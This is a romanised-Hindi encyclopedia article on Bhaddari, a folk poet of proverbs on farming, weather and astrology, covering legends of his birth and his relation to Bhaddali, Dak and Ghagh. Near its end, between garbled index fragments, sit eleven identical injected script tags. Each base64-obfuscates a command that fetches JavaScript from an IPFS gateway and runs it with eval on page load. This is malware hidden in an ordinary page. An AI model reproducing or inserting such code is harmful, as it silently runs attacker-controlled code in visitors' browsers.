भड्डरी

bhaddari ka hindi ke lok kaviyoan mean mahattvapoorn sthan hai. ghagh ki tarah bhaddari ka jivan vritt bhi nirvivad nahian hai. bhaddari kaun the, kis prant ke the aur kis bhasha mean unhoanne kahavatoan ka srijan kiya, yah aj bhi vidvanoan mean charcha ka vishay hai.

jivan parichay

bhaddari ke janm ke sambandh mean gramin aanchaloan mean anek kianvadantiyaan prapt hoti haian. kuchh vidvanoan ka manana hai ki kashi mean ek jyotishi rahate the. ek bar unhoanne jyotish ganana se yah dekha ki aisa shubh muhoort ane vala hai jisamean garbhadhan hone par b da hi vidvanh aur yashasvi putr paida hoga. aisa vichar kar jyotishi ne kashi se apane paitrik nivas ke lie prasthan kiya. kashi se bhaddari ka ghar kafi door tha jisaki vajah se ve nishchit avadhi tak apane ghar nahian pahuanch paye aur unhean raste mean ahir ke ghar rat bitani p di. ahir ki yuvati kanya unake lie bhojan banane baithi to unaka udas chehara dekhakar poochha ki ap itane udas kyoan haian? jyotishi ji ne kuchh idhar-udhar talane ke bad sachchaee se use avagat karaya. us yuvati ke man mean is putr ko pane ki ichchha jagrit huee. un donoan ki ichchha ka parinam bhaddari ke janm ke roop mean hua. vien mehata ne apani pustak ‘yukt prant ki krishi sambandhit kahavatean’ mean is katha ko tho de parivartit roop mean prastut kiya hai. unake anusar –“bhaddari ke vishay mean jyotishachary varahamihir ki ek b di hi manohar kahani kahi jati haian.” ek samay, jab ki ve tirth-yatra mean the, unako maloom hua ki amuk din ka utpann hua bachcha ganit aur phalit jyotish ka bahut b da pandit hoga. unhoan svayan hi aise putr ke pita hone ki utsukata huee aur unhoanne apane ghar ujjain ke lie prasthan kiya parantu ujjain itana door tha ki ve us shubh-din tak vahaan n pahuanch sake. atev raste ke ek gaanv mean ek g dariye ki kanya se vivah kar liya. us stri se unako ek putr hua jo brahmanoan ki bhaanti shiksha n pane par bhi svabhavatah bahut b da jyotishi hua. aj sabhi nakshatr-sanbandhi kahavatoan ke vakta bhaddari ya bhaddali kahe jate haian.” bhaddari ko varahamihir ka putr manana tarkasangat nahian hai kyoanki varahamihir ka samay ‘panchasiddhantika’ ke anusar shak 427 ya sanh 505 ee. ke lagabhag hai. bhaddari ki kahavatoan ki bhasha us yug ki nahian ho sakati, yah nishchit hai.^[1]

bhaddari aur bhaddali

bhaddari ka janm kulin jati mean nahian hua tha. bhaddari nam se bhi unake kulin jati ka n hone ka sanket milata hai. katipay vidvanoan ne bhaddari ka sambandh rajasthan se jo da hai kyoanki rajasthani kahavatoan mean “dang kahai he bhaddali” ullekh bar-bar ata hai. ek katha ke anusar marava d mean bhaddali namak ek stri thi jo jyotishi thi. usaki jati ahir ya g dariya nahian, bhangin bataee gee hai. yah bhi kaha jata hai ki marava d mean ‘dank’ nam ke brahman kavi the jinhoanne is bhangin kanya bhaddali se vivah kar liya tha. in donoan ki santan ‘dakot’ kahalaee. in janashrutiyoan ke atirikt bhaddari ke sambandh mean koee thos adhar nahian prapt hota hai, lekin itana anuman lagaya ja sakata hai ki bhaddari aur bhaddali do alag-alag vyakti evan nam haian kyoanki donoan ki kahavatoan ki bhasha mean paryapt antar dekhane ko milata hai. isi prakar ‘dank’ aur ‘dak’ ke ek hone par bhi vichar kiya jaye to donoan mean kafi samanata drishtigat hoti hai. durga shankar prasad sianh ka anuman hai ki bihar ke ‘dak’ kavi hi rajasthani ‘dang’ hai.^[1]

ghagh aur bhaddari

bhaddari se sanbandhit ek mahatvapoorn prashn yah hai ki ye kashi ke the ya marava d ke? bhaddari ki kahavatoan mean bhojapuri aur avadhi ke shabdoan ki prachurata bhi hai. yadi is drishti se dekha jay to bhaddari ka kashi ke asapas ka hona samichin pratit hota hai. marava d ke bhaddali nishchit hi isase bhinn pratit hote haian. vahaan bhaddali aur bhaddali namak do alag-alag kavi hue haian, jisamean bhaddali purush haian aur bhaddali stri. is prakar avadhi kshetr ke bhaddari se unhean kisi prakar bhi sanbandhit nahian mana ja sakata. yah bhi sambhavana hai ki bhaddari ki prasiddhi ke karan unaki avadhi aur bhojapuri kahavatean rajasthani bhasha mean gadh li gee hoan. marava d mean bhaddali pustak ‘bhaddali puran’ bhi prasiddh hai. pan. ramanaresh tripathi ne apani pustak ‘ghagh aur bhaddari’ mean isaka ullekh kiya hai. “ghagh, bhaddari aur dak ko alag-alag manane valoan mean prasiddh vidvanh d aau. j aaurj griyarsan bhi pramukh haian. unhoanne in tinoan kaviyoan ko apani pustak ‘bihar pijeant laiph’ mean alag-alag sthan diya hai.” ghagh aur bhaddari ki kahavatean lok jivan mean prasiddh hai. gramy aanchal mean rojamarra ki kheti evan samajik samasyaoan ka nidan vyakti inhian kahavatoan ke adhar par kar leta hai. inaki kahavatean kisanoan ke lie gurumantr haian. avadhi aur bhojapuri kshetroan mean inaka prachar-prasar kuchh adhik hi dikhaee p data hai. inaki kahavatoan se is bat ka bhi anuman lagaya ja sakata hai ki ghagh aur bhaddari donoan samakalin rahe hoange kyoanki ‘ghagh kahai sunu bhaddari’ ka prayog anek vishayak hai, vahian bhaddari ki kahavatoan ka kshetr varsha, niti aur jyotish vishayak. ghagh aur bhaddari ki kahavatean aj bhi prasangik haian. unamean jnan vijnan sambandhi prachur samagri hai. aj shasy vijnan, padap prajanan, paryavaran vijnan, jyotish vijnan adi ki drishti se in kahavatoan ke adhyayan ki avashyakata hai.^[1]

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ ^1.0 ^1.1 ^1.2 ghagh aur bhaddari (hindi) iandiya vatar portal (hindi). abhigaman tithi: 18 aprॅl, 2015.

bahari k diyaan

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[IWPH-1] 1.0 ^1.1 ^1.2 ghagh aur bhaddari (hindi) iandiya vatar portal (hindi). abhigaman tithi: 18 aprॅl, 2015.

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